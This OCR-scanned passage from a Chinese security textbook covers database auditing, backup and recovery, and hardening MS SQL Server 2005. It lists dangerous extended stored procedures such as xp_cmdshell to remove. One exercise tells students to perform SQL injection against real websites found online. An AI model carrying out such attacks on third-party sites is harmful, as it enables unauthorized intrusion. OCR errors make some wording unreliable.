COD 特权 审计 : 指 监视 一 个 ,多 个 特定 用 户 或 者 所 有 用 户 使 用 的 系统 特权 。 

(3) 模式 对 象 审计 : 指 监视 一 个 模式 中 在 一 个 或 者 多 个 对 象 上 发 生 的 行为 。 

(4) 资源 审计 : 指 监视 分 配给 每 个 用 户 的 系统 资源 。 

审计 机 制 应 该 至 少 记 录用 户 标识 和 认证 .客体 访问 .授权 用 户 进 行 的 并 会 影响 系统 安全 
的 操作 以 及 其 他 安全 相关 事件 。 对 于 每 个 记录 的 事件 ,审计 记录 中 需要 包括 事件 时 间 、 用 
户 、 时 间 类 型 .事件 数据 和 事件 的 成 功 /失败 情况 。 对 于 标识 和 认证 事件 ,必须 记录 事件 源 的 
终端 ID 和 源 地 址 等 ;对 于 访问 和 删除 对 象 的 事件 , 则 需要 记录 对 象 的 名 称 。 

对 于 审计 粒度 与 审计 对 象 的 选择 ,需要 考虑 系统 运行 效率 与 存储 空间 消耗 的 问题 。 为 
了 达到 审计 目的 ,一 般 必须 审计 到 对 数据 库 记 录 与 字段 一 级 的 访问 。 但 这 种 小 粒度 的 审计 
需要 消耗 大 量 的 存储 空间 ,同时 使 系统 的 响应 速度 降低 ,给 系统 运行 效率 带 来 影响 。 


6. 备份 与 恢复 


一 个 数据 库 系 统 总 是 避免 不 了 故障 的 发 生 。 安 全 的 数据 库 系 统 必须 能 在 系统 发 生 故 障 
后 利用 已 有 的 数据 备份 ,恢复 数据 库 到 原来 的 状态 .并 保持 数据 的 完整 性 和 一 致 性 。 数 据 库 
系统 所 采用 的 备份 与 恢复 技术 ,对 系统 的 安全 性 与 可 靠 性 起 着 重要 作用 ,也 对 系统 的 运行 效 
率 有 着 重大 影响 。 

(1) 数据 库 备 份 

常用 的 数据 库 备 份 方法 有 : 冷 备份 . 热 备份 和 逻辑 备份 。 

CD 冷 备份 是 在 没有 终端 用 户 访问 数据 库 的 情况 下 关闭 数据 库 并 将 其 备份 ,又 称 为 “ 脱 
机 备份 ”。 这 种 方法 在 保持 数据 完整 性 方面 显然 最 有 保障 ,但 是 对 于 那些 必须 保持 24X7 全 
天 候 运 行 的 数据 库 服务 器 来 说 , 较 长 时 间 地 关闭 数据 库 进行 备份 是 不 现实 的 。 
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© 热 备份 是 指 当 数据 库 正 在 运行 时 进行 的 备份 ,又 称 为 “联机 备份 ”因为 数据 备份 需 
要 一 段 时 间 , 而 且 备份 大 容量 的 数据 库 还 需要 较 长 的 时 间 , 那 么 在 此 期 间 发 生 的 数据 更 新 就 
有 可 能 使 备份 的 数据 不 能 保持 完整 性 ,这 个 问题 的 解决 依赖 于 数据 库 日 志文 件 。 在 备份 时 ， 
日 志文 件 将 需要 进行 数据 更 新 的 指令 “ 堆 起 来 ”, 并 不 进行 真正 的 物理 更 新 ,因此 数据 库 能 被 
完整 地 备份 。 备 份 结束 后 ,系统 再 按照 被 日 志文 件 * 堆 起 来 ”的 指令 对 数据 库 进 行 真正 的 物 
理 更 新 。 可 见 , 被 备份 的 数据 保持 了 备份 开始 时 刻 前 的 数据 一 致 性 状态 。 不 过 , 热 备 份 本 身 
要 占用 相当 一 部 分 的 系统 资源 ,因而 系统 的 运行 效率 会 有 所 下 降 。 

热 备份 操作 存在 以 下 不 利 因素 : 

如 果 系统 在 备份 时 崩溃 , 则 堆 在 日 志文 件 中 的 所 有 事务 都 会 被 丢失 , 即 造 成 数据 的 
ER. 

如 果 日 志文 件 占用 系统 资源 过 大 ,将 系统 存储 空间 占用 完 , 会 造成 系统 不 能 接受 新 的 业 
务 请 求 , 对 系统 的 运行 产生 影响 。 

@ 人 逻辑 备份 是 指使 用 软件 技术 从 数据 库 中 导出 数据 并 写 入 一 个 输出 文件 ,该 文件 的 格 
式 一 般 与 原 数 据 库 的 文件 格式 不 同 , 而 是 原 数 据 库 中 数据 内 容 的 一 个 映 象 。 因 此 ,逻辑 备份 
文件 只 能 用 来 对 数据 库 进 行 逻辑 恢复 ( 即 数据 导入 ) ,而 不 能 按 数据 库 原来 的 存储 特征 进行 
物理 恢复 。 人 逻辑 备份 一 般 用 于 增 量 备份 , 即 备份 那 些 在 上 次 备份 以 后 改变 的 数据 。 

(2) 数据 库 恢 复 

在 系统 发 生 故 障 后 ,把 数据 库 恢 复 到 原来 的 某 种 一 致 性 状态 的 技术 称 为 恢复 ,其 基本 原 
理 是 利用 元 余 进行 数据 库 恢复 。 问 题 的 关键 是 如 何 建立 宛 余 并 利用 元 余 实 施 数据 库 恢 复 ， 
即 恢 复 策略 。 

数据 库 恢复 技术 一 般 有 3 种 策略 : 基于 备份 的 恢复 、 基 于 运行 时 日 志 的 恢复 和 基于 镜 
像 数 据 库 的 恢复 。 

(D 基于 备份 的 恢复 。 基 于 备份 的 恢复 是 指 周 期 性 地 备份 数据 库 。 当 数据 库 失效 时 ,可 
取 最 近 一 次 的 数据 库 备份 来 恢复 数据 库 , 即 把 备份 的 数据 复制 到 原 数据 库 所 在 的 位 置 。 用 
这 种 方法 ,数据 库 只 能 恢复 到 最 近 一 次 备份 的 状态 ,而 从 最 近 备份 到 故障 发 生 期 间 的 所 有 数 
据 库 更 新 将 会 丢失 。 备 份 的 周期 越 长 ,丢失 的 更 新 数据 越 多 。 

© 基于 运行 时 日 志 的 恢复 。 运 行 时 日 志文 件 是 用 来 记录 对 数据 库 每 一 次 更 新 操 
作 的 文件 。 对 日 志 的 操作 优先 于 对 数据 库 的 操作 ,以 确保 记录 数据 库 的 更 改 。 当 系统 
突然 失效 而 导致 事务 中 断 时 ,可 重新 装 入 数据 库 的 副本 ,把 数据 库 恢 复 到 上 一 次 备份 
时 的 状态 。 然 后 系统 自动 正 向 扫描 日 志文 件 .将 故障 发 生前 所 有 提交 的 事务 放 到 重 做 
队列 ,将 未 提交 的 事务 放 到 撤销 队列 执行 ,这 样 就 可 把 数据 库 恢 复 到 故障 前 某 一 时 刻 
的 数据 一 致 性 状态 。 

© 基于 镜像 数据 库 的 恢复 。 数 据 库 镜像 就 是 在 另 一 个 磁盘 上 复制 数据 库 作为 实 
时 副本 。 当 主 数据 库 更 新 时 ,DBMS 自动 把 更 新 后 的 数据 复制 到 镜像 数据 ,始终 使 镜 
像 数 据 和 主 数 据 保持 一 致 性 。 当 主 库 出 现 故 障 时 .可 由 镜像 磁盘 继续 提供 使 用 ,同时 
DBMS 自动 利用 镜像 磁盘 数据 进行 数据 库 恢 复 。 镜 像 策略 可 以 使 数据 库 的 可 靠 性 大 为 
提高 ,但 由 于 数据 库 镜像 通过 复制 数据 实现 .频繁 地 复制 会 降低 系统 运行 效率 ,因此 一 
般 在 对 效率 要 求 满足 的 情况 下 可 以 使 用 。 为 兼顾 可 靠 性 和 可 用 性 ,可 有 选择 性 地 镜像 
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数据 库 的 备份 和 恢复 是 一 个 完善 的 数据 库 系 统 必 不 可 少 的 一 部 分 ,目前 这 种 技术 已 经 
广泛 应 用 于 数据 库 产品 中 。 


6.3.3 数据 库 系 统 安 全 需求 


与 其 他 计算 机 系统 (如 操作 系统 ) 的 安全 需求 类 似 , 数 据 库 系统 的 安全 需求 可 以 归纳 为 
完整 性 .保密 性 和 可 用 性 3 个 方面 。 


1. 完整 性 


数据 库 系统 的 完整 性 主要 包括 物理 完整 性 、 逻 辑 完 整 性 和 元 素 完 整 性 。 

物理 完整 性 : 是 指 保证 数据 库 的 数据 不 受 物理 故障 (如 硬件 故障 、 火 灾 或 掉 电 等 ) 的 影 
响 , 并 有 可 能 在 灾难 性 毁坏 时 重建 和 恢复 数据 库 。 

人 逻辑 完整 性 : 是 指 系统 能 够 保持 数据 库 的 结构 不 受 破坏 ,如 对 一 个 字段 的 修改 不 至 于 
影响 到 其 他 字段 。 对 数据 库 逻 辑 结 构 的 保护 包括 数据 语义 与 操作 完整 性 ,前 者 主要 指数 据 
存 取 在 逻辑 上 满足 完整 性 约束 ;后 者 主要 指 在 并 发 事务 中 保证 数据 的 逻辑 一 致 性 。 

元 素 完整 性 : 是 指 包 括 在 每 个 元 素 中 的 数据 是 准确 的 。 


2. 保密 性 


数据 库 的 保密 性 是 指 不 允许 未 经 授权 的 用 户 存 取 数 据 。 数 据 库 的 保密 性 包括 访问 控 
制 ,用 户 认 证 ,审计 跟踪 ,数据 加 密 等 内 容 。 一 般 要 求 对 用 户 的 身份 进行 标识 与 鉴别 ,并 采取 
相应 的 存 取 控制 策略 以 保证 用 户 仅 能 访问 授权 数据 ,同一 组 数据 的 不 同 用 户 可 以 被 赋予 不 
同 的 存 取 权限 。 同 时 ,还 应 能 够 对 用 户 的 访问 操作 进行 跟踪 和 审计 。 此 外 ,还 应 该 控制 用 户 
通过 推理 方式 从 经 过 授权 的 已 知 数据 获取 未 经 授权 的 数据 ,避免 造成 信息 泄露 。 


3. 可 用 性 


数据 库 的 可 用 性 是 指 不 应 拒绝 授权 用 户 对 数据 库 的 正常 操作 ,同时 保证 系统 的 运行 效 
率 , 并 提供 用 户 友好 的 人 机 交互 。 

数据 库 的 保密 性 与 可 用 性 是 一 对 矛盾 ,对 这 个 矛盾 的 分 析 与 解决 构成 了 数据 库 系 统 的 
安全 模型 和 安全 机 制 。 


6.4 数据 库 系 统 安全 管理 


6.4.1 实例 : MS SQL Server 2005 安全 管理 


$8 135 : 启动 Microsoft SQL Server Management Studio, 如 图 6-23 所 示 ,在 【对 象 资源 
管理 器 了 窗口 中 选择 ZTG20031【 安 全 性 】I【 登 录 名 】 选 项 。 在 右 侧 窗口 里 双击 sa 选项 ,弹出 
【登录 属性 -sa] 对 话 框 ,如 图 6-24 所 示 。 

第 2 步 : 在 图 6-24 中 ,选中 【强制 实施 密码 策略 ] 复 选 框 ,对 sa 用 户 进 行 最 强 地 保护 , 另 
外 ,密码 的 选择 也 要 足够 复杂 。 
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图 6-23 
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图 6-24 【登录 属性 -sa 对 话 框 


第 3 步 : 在 SQL Server 2005 中 有 Windows 身份 认证 和 混合 身份 认证 。 如 果 不 希 望 以 
系统 管理 员 的 身份 登录 数据 库 , 可 以 把 系统 账号 BUILTIN\Administrators 删除 或 禁止 ,在 
图 6-23 中 , 右 击 BUILTIN Administrators 账号 ,选择 【属性 命令 ,弹出 【登录 属性 
BUILTIN\Administrators] 对 话 框 ,如 图 6-25 B zi , 单 击 左 侧 窗口 中 的 【状态 3 选项 ,在 右 侧 
窗口 中 ,把 【是否 允 许 连 接 到 数据 库 引 擎 ] 改 为 “拒绝 ”.【 登 录 ] 改 为 “禁用 ” 即 可 。 

第 4 步 : 使 用 IPSec 策略 阻止 所 有 访问 本 机 的 TCP1433, 也 可 以 对 TCP1433 端口 进行 修 
改 , 不 过 ,在 SQL Server 2005 中 ,可 以 使 用 TCP 动态 端口 .启动 SQL Server Configuration 
Manager, 如 图 6-26 Bros «fi ii TCP/IP, 选 择 【 属 性 】 选 项 ,弹出 【TCP/IP 属性 了 对 话 框 , 如 


图 6-27 Bros. 
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6-25 【登录 属性 -BUILTIN\Administrators】 


图 6-26 SQL Server Configuration Manager 
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在 图 6-27 中 ,在 IPALL 属性 框 中 的 KTCP 动态 端口 ] 右 侧 输入 *0”。 配 置 为 监听 动态 端 
H ,在 启动 时 会 检查 操作 系统 中 的 可 用 端口 并 且 从 中 选择 一 个 。 

如 图 6-28 所 示 ,可 以 指定 SQL Server 是 否 监听 所 有 绑 定 到 计算 机 网 卡 的 IP 地 址 。 如 
果 设 置 为 [是 】, 则 IPALL 属性 框 的 设置 将 应 用 于 所 有 TP 地 址 ;如 果 设 置 为 【 否 】, 则 使 用 每 
个 IP 地 址 各 自 的 属性 对 话 框 对 各 个 IP 地 址 进行 配置 。 默 认 值 为 【是 】。 


IP 地址 192.168.10.2 


1433 


图 6-27 【TCP/IP 属性 对话 框 图 6-28 监听 设置 
第 5 步 : 删除 不 必要 的 扩展 存储 过 程 (或 存储 过 程 ) 。 
因为 有 些 存 储 过 程 能 够 很 容易 地 被 人 侵 者 利用 来 提升 权限 或 进行 破坏 ,所 以 需要 将 必 


要 的 存储 过 程 或 扩展 存储 过 程 删除 。 
xp_cmdshell 是 一 个 很 危险 的 扩展 存储 过 程 ,如 果 不 需 要 xp_cmdshell, 那 么 最 好 将 它 


删除 。 删 除 的 方法 如 图 6-29 所 示 。 
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图 6-29 删除 扩展 存储 过 程 


下 面 给 出 了 可 以 考虑 删除 的 扩展 存储 过 程 ( 或 存储 过 程 ) , 仅 供 参考 。 

xp_regaddmnultistring、xp_regdeletekey、xp_regdetetevalue、xp_regenumkeys、xp_cmdshell、 
xp dirtree,xp fileexist, xp getnetname, xp terminate process, xp regenumvalues, xp regread, 
xp regwrite, xp readwebtask,xp makewebtask,xp regremovemultistring, 


OLE 自动 存储 过 程 : sp _ OACreate, sp _ .OADestroy, sp _ OAGetErrorInfo, 
名 
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sp OAGetProperty,sp OAMethod,sp OASetProperty,sp OAStop. 
访问 注册 表 的 存储 过 程 : xp regaddmultistring, xp. regdeletekey, xp. regdeletevalue, 


xp_regenumvalues, xp_regread, xp_regremovemultistring, xp_regwrite, sp_makewebtask 、 


sp_add_job,sp_addtask,sp_addextendedproc 等 。 

第 6 步 : 在 图 6-29 中 , 右 击 ZTG2003( 位 于 图 的 左上 角 ) 选 项 ,选择 [属性 命令 ,弹出 
【服务 器 属性 -ZTG2003】 对 话 框 ,如 图 6-30 所 示 。 在 图 6-30 中 , 单 击 左 侧 窗口 中 的 [安全 性 】 
选项 ,在 右 侧 窗口 中 ,选择 【登录 审核 3 中 的 【失败 和 成 功 的 登录 了 单 选 按钮 ,选中 [启用 C2 审 
核 跟 踪 ] 复 选 框 ,C2 是 一 个 政府 安全 等 级 , 它 确保 系统 能 够 保护 资源 并 且 具 有 足够 的 审核 能 
力 。C2 允许 监视 对 所 有 数据 库 实 体 的 所 有 访问 企图 。 
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图 6-30 【服务 器 属性 -ZTG2003】 对 话 框 


6.4.2 数据 库 安全 管理 原则 


一 个 强大 的 数据 库 安 全 系统 应 当 确 保 其 中 信息 的 安全 性 并 对 其 有 效 地 控制 。 下 面 列举 
的 原则 有 助 于 企业 在 安全 规划 中 实现 客户 利益 保障 、 策 略 制订 以 及 对 信息 资源 的 有 效 保护 。 


1. 管理 细 分 和 委派 原则 


在 典型 的 数据 库 工作 环境 中 ,DBA 总 是 独立 执行 所 有 的 管理 和 其 他 事务 工作 ,一旦 出 
现 岗位 交替 ,将 带 来 一 连 串 问题 和 工作 效率 的 低下 。 通 过 管理 责任 细 分 和 任务 委派 ,DBA 
将 得 以 从 常规 事务 中 解脱 出 来 ,而 更 多 地 关注 于 解决 数据 库 执行 效率 以 及 管理 相关 的 重要 
问题 ,从 而 保证 两 类 任务 的 高 效 完成 。 企 业 应 设法 通过 功能 和 可 信赖 的 用 户 群 进一步 细 分 
数据 库 管理 的 责任 和 角色 。 管 理 委派 有 助 于 灵活 解决 为 员工 重 设 密码 (需要 管理 员 权限 ) 这 
样 的 常见 问题 ,或 者 让 管理 员 执行 特殊 部 门 ( 如 市 场 部 或 财务 部 ) 的 某 些 事务 。 


计算 机 安全 技术 


2. 最 小 权限 原则 


许多 新 的 保密 规则 针对 特定 数据 的 授权 访问 。 企 业 必须 本 着 “最 小 权限 ”原则 ,从 需求 
和 工作 职能 两 方面 严格 限制 对 数据 库 的 访问 权 。 通 过 角色 (role) 的 合理 运用 ,最 小 权限 可 
确保 数据 库 功能 限制 和 对 特定 数据 的 访问 。 


3. 账号 安全 原则 


用 户 账号 对 于 每 一 个 数据 库 连 接 来 说 都 是 必需 的 。 账 号 应 遵循 传统 的 用 户 账号 管理 方 
法 来 进行 安全 管理 。 这 些 方法 包括 : 更 改 默认 密码 .应 用 适当 的 密码 设置 . 当 登 录 失 败 时 实 
施 账 号 锁定 、 对 数据 提供 有 限制 的 访问 权限 .禁止 休眠 状态 的 账户 以 及 管理 账户 的 生命 周 
期 等 。 


4. 有 效 的 审计 原则 


数据 库 审 计 是 数据 库 安 全 的 基本 要 求 。 企 业 应 针对 自己 的 应 用 和 数据 库 活 动 定义 审计 
策略 。 审 计 并 非 一 定 要 按 “ 要 么 对 所 有 目标 ,要 么 没有 ”审计 的 粗放 模式 进行 ,从 这 一 点 来 
看 ,智能 审计 的 实现 对 安全 管理 意义 重大 一 一 不 仅 能 节省 时 间 , 而 且 能 减少 执行 所 涉及 的 范 
围 和 对 象 ; 通 过 智能 限制 日 志 大 小 ,还 能 突出 更 加 关键 的 安全 事件 。 


6.5 数据 库 的 备份 与 恢复 


计算 机 系统 有 许多 种 故障 类 型 ,诸如 机 械 损坏 .电源 故障 .自然 灾害 、 错 误 使 用 .恶意 破 
坏 等 。 如 果 没 有 数据 备份 ,那么 一 旦 发 生 故 障 就 不 可 能 恢复 丢失 的 数据 ,所 以 要 求 合 理 地 对 
数据 库 中 的 数据 进行 备份 。 


1. 备份 类 型 


SQL Server 2005 提供 了 4 种 备份 数据 库 的 方式 : 完整 备份 .差异 备份 .事务 日 志 备 份 
以 及 文件 和 文件 组 备份 。 

(1) 完整 备份 

备份 整个 数据 库 的 所 有 内 容 ,包括 对 整个 数据 库 .部 分 事务 日 志 、 数 据 库 结构 和 文件 结 
构 的 备份 。 该 备份 类 型 需要 比较 大 的 存储 空间 来 存储 备份 文件 ,备份 时 间 也 比较 长 ,在 还 原 
数据 时 ,也 只 要 还 原 一 个 备份 文件 。 

(2) 差异 备份 

差异 备份 是 完整 备份 的 补充 ,是 指 对 上 一 次 完整 备份 之 后 所 有 更 改 的 数据 进行 备份 , 备 
份 过 程 能 够 识别 出 数据 库 中 哪 一 部 分 被 修改 了 ,并 只 对 这 一 部 分 做 备份 。 相 对 完整 备份 来 
说 ,差异 备份 的 数据 量 比 完整 数据 备份 小 ,备份 的 速度 也 比 完 整备 份 快 。 因 此 ,差异 备份 通 
常 作为 经 常用 到 的 备份 。 在 还 原 数 据 时 .要 先 还 原 前 一 次 做 的 完整 备份 后 再 还 原 最 后 一 次 
所 做 的 差异 备份 ,这 样 才能 让 数据 库 里 的 数据 恢复 到 与 最 后 一 次 差异 备份 时 的 相同 内 容 。 


(3) 事务 日 志 备 份 


事务 日 志 备份 只 备份 事务 日 志 里 的 内 容 。 事 务 日 志 记 录 了 上 一 次 完整 备份 或 事务 日 志 
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备份 后 数据 库 的 所 有 变动 过 程 。 事 务 日 志 记 录 的 是 某 一 段 时 间 内 的 数据 库 变动 情况 ,因此 ， 
在 做 事务 日 志 备份 之 前 ,也 必须 要 做 完整 备份 。 与 差异 备份 类 似 ,事务 日 志 备 份 的 备份 文件 
和 时 间 都 会 比较 小 ,但 是 在 还 原 数 据 时 ,除了 先 要 还 原 完整 备份 之 外 ,还 要 依次 还 原 每 个 事 
务 日 志 备 份 ,而 不 是 只 还 原 最 近 一 个 事务 日 志 备份 。 

(4) 文件 和 文件 组 备份 

如 果 在 创建 数据 库 时 ,为 数据 库 创建 了 多 个 数据 库 文件 或 文件 组 ,可 以 使 用 该 备份 方 
式 。 使 用 文件 和 文件 组 备份 方式 可 以 只 备份 数据 库 中 的 某 些 文件 ,该 备份 方式 在 数据 库 文 
件 非常 庞大 的 时 候 十 分 有 效 ,由 于 每 次 只 备份 一 个 或 几 个 文件 或 文件 组 ,可 以 分 多 次 来 备份 
数据 库 ,避免 大 型 数据 库 备 份 的 时 间 过 长 。 另 外 ,由 于 文件 和 文件 组 备份 只 备份 其 中 一 个 或 
多 个 数据 文件 ,那么 当 数据 库 里 的 某 个 或 某 些 文件 损坏 时 ,可 以 只 还 原 损 坏 的 文件 或 文件 组 
备份 即 可 。 


2. 恢复 模式 


事务 日 志 会 记录 数据 库 中 每 一 次 的 数据 操作 ,如果 每 个 操作 都 要 记录 ,数据 库 不 但 要 写 
数据 文件 ,而 且 还 要 写 日 志文 件 ,这 样 会 降低 数据 库 的 性 能 。 并 且 并 不 是 所 有 数据 库 都 需要 
记录 每 一 次 的 数据 操作 ,因此 ,在 SQL Server 2005 可 以 使 用 “恢复 模式 ”来 设置 事务 日 志 的 
操作 方法 。 

SQL Server 2005 中 有 3 种 恢复 模式 : 简单 恢复 模式 完整 恢复 模式 和 大 容量 日 志 恢复 
模式 。 

(1) 简单 恢复 模式 

在 该 模式 下 ,数据 库 会 自动 把 不 活动 的 日 志 删 除 。 因 此 ,简化 了 备份 的 还 原 ,但 因为 没 
有 事务 日 志 备 份 , 所 以 不 能 恢复 到 失败 的 时 间 点 。 该 模式 主要 用 于 小 型 数据 库 和 不 经 常 更 
改 的 数据 库 。 在 该 模式 下 数据 库 只 能 做 完整 备份 和 差异 备份 。 

(2) 完整 恢复 模式 

该 恢复 模式 是 SQL Server 2005 默认 的 恢复 模式 。 在 该 恢复 模式 下 ,SQL Server 2005 
会 完整 记录 操作 数据 库 的 每 一 个 步骤 。 通 常 来 说 ,对 数据 可 靠 性 要 求 比 较 高 的 数据 库 ( 如 银 
行 .电信 系统 ) ,一 旦 发 生 故 障 , 必 须 保 障 数据 不 丢失 且 数 据 库 恢复 到 发 生 故 障 前 的 状态 ,此 
刻 就 必须 用 该 模式 。 使 用 完整 恢复 模式 可 以 将 整个 数据 库 恢 复 到 一 个 特定 的 时 间 点 。 这 个 
时 间 点 可 以 是 最 近 一 次 可 用 的 备份 .一 个 特定 的 日 期 和 时 间或 标记 的 事务 。 在 该 模式 下 应 
该 定期 做 事务 日 志 备份 ,否则 日 志文 件 将 会 变 得 很 大 。 

(3) 大 容量 日 志 恢 复 模式 

这 是 对 完整 恢复 模式 的 补充 。 在 该 恢复 模式 下 ,只 对 大 容量 操作 (如 导入 数据 等 操作 ) 
进行 最 小 记录 ,在 保护 大 容量 操作 不 受 媒体 故障 的 危害 下 ,提供 最 佳 性 能 并 占用 最 小 日 志 空 
间 。 在 大 容量 日 志 恢 复 模式 下 ,只 记录 必要 的 操作 ,不 记录 所 有 日 志 , 这 么 一 来 ,可 以 大 大 提 
高 数据 的 性 能 ,但 是 由 于 日 志 不 完整 ,一旦 出 现 问题 ,数据 将 有 可 能 无 法 恢复 。 因 此 ,一般 只 
有 在 需要 进行 大 量 数据 操作 时 才 将 恢复 模式 改 为 大 容量 日 志 恢 复 模式 ,将 数据 处 理 完 毕 之 
后 ,马上 恢复 到 完整 恢复 模式 。 

在 SQL Server Management Studio 里 设置 恢复 模式 的 步骤 如 下 。 

第 1 步 : 启动 SQL Server Management Studio ,在 【对 象 资源 管理 器 窗口 里 展开 树 形 
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目录 ,定位 到 要 设置 恢复 模式 的 数据 库 上 。 

第 2 步 : 在 图 6-29 中 , 右 击 数据 库 名 (bbsxp2008, 位 于 图 的 左下 角 ) ,在 弹出 的 快捷 菜 
单 里 选择 【属性 】 命 令 ,弹出 【数据 库 属 性 -bbsxp2008] 对 话 框 ,如 图 6-31 所 示 ,在 左 侧 窗口 选 
择 【[ 选 项 】 选 项 ,在 右 侧 窗口 中 的 [恢复 模式 J 下 拉 列 表 框 里 可 以 选择 恢复 模式 。 选 择 完 毕 后 ， 
单 击 【确定 3 按钮 完成 操作 。 


[EIT 


图 6-31 【数据 库 属性 -bbsxp2008】 对 话 框 


3. 备份 策略 


定期 备份 数据 库 是 最 稳妥 的 防止 故障 发 生 时 丢失 数据 的 方法 , 它 能 有 效 地 恢复 数据 。 
建立 一 个 完整 的 备份 策略 需要 考虑 的 因素 如 下 。 

CD 备份 周期 ,根据 数据 的 重要 程度 ,可 以 选择 每 周 、 每 日 .每 时 进行 备份 。 

(2) 使 用 静态 备份 还 是 动态 备份 ,动态 备份 允许 数据 库 运 行 时 进行 备份 。 

(3) 使 用 全 备份 还 是 共同 使 用 全 备份 和 增 量 备份 。 

(4) 使 用 什么 存储 介质 ,磁带 、 磁 盘 还 是 光盘 。 

(5) 使 用 人 工 备份 还 是 设计 好 的 自动 备份 程序 。 

(6) 检验 备份 完整 性 的 周期 。 

(7) 备份 存储 的 空间 是 否 防 窃 .防磁 干 扰 、 防 火 。 

(8) 是 否 指定 其 他 人 实行 备份 ,他 们 是 否 享有 必要 的 登录 号 和 口令 。 

(9) 在 负责 备份 和 恢复 的 主要 人 员 缺 席 的 情况 下 ,是否 由 其 他 人 能 代替 他 们 。 


小 结 


本 章 介 绍 了 SQL 注入 式 攻 击 的 原理 ,对 SQL 注入 式 攻击 的 防范 .常见 的 数据 库 安 全 问 
题 及 安全 威胁 ,数据 库 安 全 管理 原则 等 内 容 ,并且 通过 对 一 系列 实例 的 介绍 ,加深 读者 对 数 
据 库 安 全 管理 方面 的 基础 知识 和 技术 的 理解 ,帮助 读者 提高 维护 数据 库 安 全 的 能 力 , 并 且 在 
进行 Web 开发 时 要 注意 防范 SQL 注入 式 攻击 。 


习 题 


1. 填空 题 


OD 是 指 攻击 者 通过 黑 盒 测 试 的 方法 检测 目标 网 站 脚本 是 否 存在 过 滤 不 严 的 
问题 ,如 果 有 ,那么 攻击 者 就 可 以 利用 某 些 特殊 构造 的 SQL 语句 ,通过 在 浏览 器 直接 查询 管 
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理 员 的 用 户 名 和 密码 ,或 者 利用 数据 库 的 一 些 特性 进行 权限 提升 。 


(2) 数据 库 系 统 分 为 和 
(3) 只 有 调用 数据 库 动 态 页 面 才 有 可 能 存在 注入 漏洞 ,动态 页 面包 括 " 
和 等 。 
(4) 从 广义 上 讲 , 数 据 库 系统 的 安全 框架 可 以 分 为 3 个 层次 : 
和 E 
(5) 常用 的 数据 库 备 份 方法 有 : 和 
(6) 数据 库 系 统 的 安全 需求 有 : 和 
CD 数据 库 安 全 管理 原则 有 : i x 和 " 
(8) SQL Server 2005 提供 了 4 种 备份 数据 库 的 方式 : 和 
2. 思考 与 简 答题 


CD 阐述 注入 攻击 MS SQL Server 的 一 般 过 程 。 
(2) 阐述 注入 攻击 Access 的 一 般 过 程 。 
(3) 如 何 防 范 SQL 注入 攻击 ? 


3. 上 机 题 


(1) 在 网 络 上 寻找 使 用 MS SQL Server 的 动态 网 站 ,然后 对 其 进行 SQL 注入 攻击 ( 主 
要 是 为 了 实验 ,不 要 有 违法 行为 )。 

(2) 实验 环境 是 Windows 2003 Server 和 MS SQL Server 2005 ,根据 6. 4. 1 小节 的 实 
例 对 SQL Server 进行 安全 管理 。 


oe 
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本 章 学 习 目 标 : 

。 了 解 Web 应 用 的 安全 现状 
。 了解 XSS 跨 站 攻击 技术 

。 了 解 电 子 商务 安全 

。 了 解 防 垃圾 邮件 技术 

。 理解 网 络 防 钓 鱼 技术 

掌握 QQ 的 安全 使 用 

了 解 网 上 银行 账户 安全 常识 
。 掌握 WinHex 的 一 般 使 用 


人 们 的 生活 越 来 越 离 不 开 网 络 , 但 是 目前 的 网 络 环境 隐藏 着 种 种 威胁 ,因此 ,本 章 通 过 
介绍 Web 应 用 安全 、 防 垃圾 邮件 技术 、 网 络 防 钓鱼 技术 、QQ 的 安全 使 用 、 网 上 银行 账户 安 
全 常识 以 及 WinHex 的 一 般 使 用 ,来 提高 读者 安全 使 用 网 络 的 水 平 。 


7.1 Web 应 用 安全 技术 


目前 ,全球 互 联网 用 户 已 超过 15 亿 , 大 部 分 用 户 也 都 会 利用 网 络 进行 购物 .银行 转账 支 
付 和 各 种 软件 下 载 。 而 近年 来 互联 网 的 环境 发 生 了 很 大 的 变化 , Web 2.0 成 为 互联 网 热门 
的 概念 ,Web 2. 0 相关 技术 和 应 用 的 发 展 使 得 在 线 协 作 共享 更 加 方便 。Web 2.0 技术 主要 
包括 : 博客 (BLOG) ,播客 .RSS、 百 科 全 书 (Wiki) ,.P2P、 即 时 信息 (IM) 等 。 人 们 在 享受 网 络 
便捷 的 同时 ,网 络 环境 也 变 得 越 来 越 危险 。 

Web 威胁 正在 极力 表现 它 的 逐 利 性 ,成 为 当前 网 络 威胁 最 突出 的 代表 。 近 年 来 ,类 似 
Melissa, I Love You 等 这 些 扩 散 全 球 性 的 “大 ”病毒 届 指 可 数 , 取 而 代 之 的 是 无 声 无 息 的 
Web 威胁 ,它们 共同 的 特性 是 窃取 数据 加 以 贩卖 。 在 中 国 本 土 更 发 展 出 区 域 性 的 病毒 ,如 
熊猫 烧香 IKAST A ANT 蠕虫。 

由 于 新 一 代 的 Web 威胁 具备 混合 性 、 定 向 攻击 和 区 域 性 爆发 等 特点 ,所 以 传统 防护 效 
果 越 来 越 差 MED Web 威胁 。 因 此 ,普通 的 浏览 网 页 都 变 成 了 一 件 带 有 极 大 安全 风险 的 事 
TÉ. Web 威胁 可 以 在 用 户 完全 没有 察觉 的 情况 下 进入 网 络 ,从 而 对 公司 数据 资产 ,行业 信 
誉 和 关键 业务 构成 极 大 威胁 。 据 Gartner 统计 ,到 2009 年 ,企业 由 于 定向 攻击 遭受 的 损失 
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将 至 少 是 其 他 事件 造成 的 损失 的 5 倍 。 而 面 对 Web 威胁 ,传统 的 安全 防护 手段 已 经 不 能 满 
足 保护 网 络 的 要 求 了 。 

据 趋 势 科技 统计 ,目前 40% 的 病毒 会 自我 加 密 或 采用 特殊 程序 压缩 ;90% 的 病毒 以 
HTTP 为 传播 途径 ;60% 的 病毒 以 SMTP 为 传播 途径 ;50% 的 病毒 会 利用 开机 自动 执行 或 
自动 连 上 恶意 网 站 下 载 病毒 。 这 些 数据 表明 ,威胁 正 向 定向 、 复 合式 攻击 方向 发 展 ,其 中 一 
种 攻击 会 包括 多 种 威胁 ,比如 病毒 .蠕虫 特洛伊 .间谍 软件 .僵尸 ,网络 钓鱼 电子 邮件 ,漏洞 
利用 、 下 载 程 序 ,社会 工程 .rootkit、 黑 客 等 ,造成 拒绝 服务 、 服 务 动 持 、 信 息 泄露 或 算 改 等 危 
害 。 另 外 ,复合 攻击 也 加 大 了 收集 所 有 “样本 ”的 难度 ,造成 的 损害 也 是 多 方面 的 ,潜伏 期 难 
以 预测 ,甚至 可 以 远程 可 控 地 发 作 。 

